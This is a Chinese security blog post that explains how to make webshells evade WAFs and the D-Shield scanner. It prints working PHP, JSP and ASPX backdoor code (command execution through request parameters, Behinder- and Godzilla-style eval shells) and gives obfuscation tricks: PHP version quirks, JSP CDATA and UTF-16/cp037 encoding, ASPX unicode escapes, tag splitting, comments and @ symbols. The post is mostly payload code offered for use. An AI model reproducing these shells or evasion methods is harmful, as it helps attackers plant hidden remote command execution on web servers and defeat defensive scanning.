美文网首页安全kali
安全实战:webshell的几种免杀方式

安全实战:webshell的几种免杀方式

作者: 顶风作案7号 | 来源:发表于2022-03-08 20:57 被阅读0次

php的免杀

传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用在高版本php语法不换行来执行命令

<?=
$a=<<< aa
assasssasssasssasssasssasssasssasssasssasssassss
aa;echo `whoami`
?>

5.2版本报错,

image.png

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

5.3报错

image.png

5.4版本报错

image.png

7.3.4成功执行命令

image.png

2、利用\特殊符号来引起报错

<?php
\echo `whoami`;?>

5.3执行命令失败

image.png

7.3执行命令失败

image.png

5.2成功执行

image.png

3、十六进制字符串

在php7中不认为是数字,php5则依旧为数字
经过测试 5.3 和5.5可以成功执行命令,5.2和php7无法执行

<?php
$s=substr("aabbccsystem","0x6");
$s(whoami)
?>

7.3 命令执行失败

image.png

5.2 命令执行失败

image.png

5.3 命令执行成功

image.png

除此之外,还有很多种利用版本差异性来bypass一些没有对所有版本进行检测更新的所谓的"先进waf"。
当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

例如:
7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));

jsp免杀

本人对java研究的不是非常深入,因此主要分享的还是平时收集的几个小tips,如果有没看过的师傅现在看到了也是极好的,java unicode绕过就不再多言。

0、小小Tips

jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式

1、jspx CDATA特性

在XML元素里,<和&是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在jspx里添加js代码用到大量的<和&字符,因此可以将脚本代码定义为CDATA。
CDATA部分内容会被解析器忽略。
格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>
例如
String cmd = request.getPar<![CDATA[ameter]]>("shell");
此时ameter依旧会与getPar拼接成为getParameter

2、实体化编码

if (cmd !=null){
        Process child = Runtime.getRuntime().exec(cmd);
        InputStream in = child.getInputStream();

这里实体化编码先知渲染体现不出来

image.png

3、利用java支持其他编码格式来进行绕过

#python2
charset = "utf-8"
data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)

f16be = open('utf-16be.jsp','wb')
f16be.write('<%@ page contentType="charset=utf-16be" %>')
f16be.write(data.encode('utf-16be'))

f16le = open('utf-16le.jsp','wb')
f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')
f16le.write(data.encode('utf-16le'))

fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))
fcp037.write('<%@ page contentType="charset=cp037"/>')
image.png

可以看到对于D盾的免杀效果还是非常好的。


image.png

aspx的免杀

aspx免杀的方式相对于PHP和java的较少,这里列出5种方式来bypass进行免杀

1、unicode编码
2、空字符串连接
3、<%%>截断
3、头部替换
5、特殊符号@
6、注释

我们以一个普通的冰蝎马作为示例

<%@ Page Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval(@Request.Item[)

这一步无需多言,一定是会被D盾所查杀的

image.png

1、unicode编码

例如eval他可以变为
\u0065\u0076\u0061\u006c

<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>

经过我本地的测试,在JScript的情况下它不支持大U和多个0的增加
而在c#的情况下,是可以支持的

image.png

2、空字符串连接

在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错
\u200c
\u200d
\u200e
\u200f

3、使用<%%>语法

将整个字符串与函数利用<%%>进行分割

<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>

4、头部免杀

之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识ASPX的一个字段,
针对该字段进行免杀[%@Language=CSHARP%](mailto:%@Language=CSHARP%)很久之前修改为这样就过了

同样的,可以修改为
<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>
也可以将该字段放在后面,不一定要放前面等

5、使用符号

如哥斯拉webshell存在特征代码,可以添加@符号但是不会影响其解析。

(Context.Session["payload"] == null)
(@Context.@Session["payload"] == null)
image.png image.png

6、注释可以随意插入

如下所示为冰蝎部分代码

<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)

可以与<%%>结合使用效果会更好

相关文章

  • 安全实战:webshell的几种免杀方式

    php的免杀 传统的php免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如...

  • webshell以及免杀方式

    Webshell简介 Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,...

  • Webshell免杀

    前言 最近在研究php免杀绕过安全狗、D盾等WAF防护软件。也算是小有成绩。故记录下来。 一句话木马 在渗透测试中...

  • webshelle免杀套路

    转载自:https://nosec.org/home/detail/2574.html webshell免杀套路 ...

  • 无限免杀D盾脚本之aspx ——yzddMr6

    前言 自己曾经写过一篇文章:利用随机异或无限免杀某盾 php的webshell免杀方法有很多,但是市面上很少有讲a...

  • 杀毒与免杀技术详解之三:特征码免杀实战

    杀毒与免杀技术详解之三:特征码免杀实战杀毒与免杀技术详解之二:特征码定位-工具及原理

  • 初识webshell及免杀基础

    初识Webshell: 上传Webshell的目的: 1.权限维持,方便下次连接控制系统2.权限提升,利用某些漏洞...

  • webshell多种方法免杀

    转载自公众号:开源聚合网络空间安全研究院 webshell这个东西对于web方向的还是极其重要的,getshell...

  • Jsp Webshell 免杀-命令执行

    前言 php的一句话木马即可以直接命令执行又可以作为冰蝎、蚁剑的客户端,而java就显得比较复杂。在经过java基...

  • [PHP] Webshell简单的免杀思路

    接到一个简单的需求, 客户自己的扫描工具把我们的代码,误认为是webshell。经过简单排查, 确认了误报 原因,...

网友评论

    本文标题:安全实战:webshell的几种免杀方式

    本文链接:https://www.haomeiwen.com/subject/ecfzrrtx.html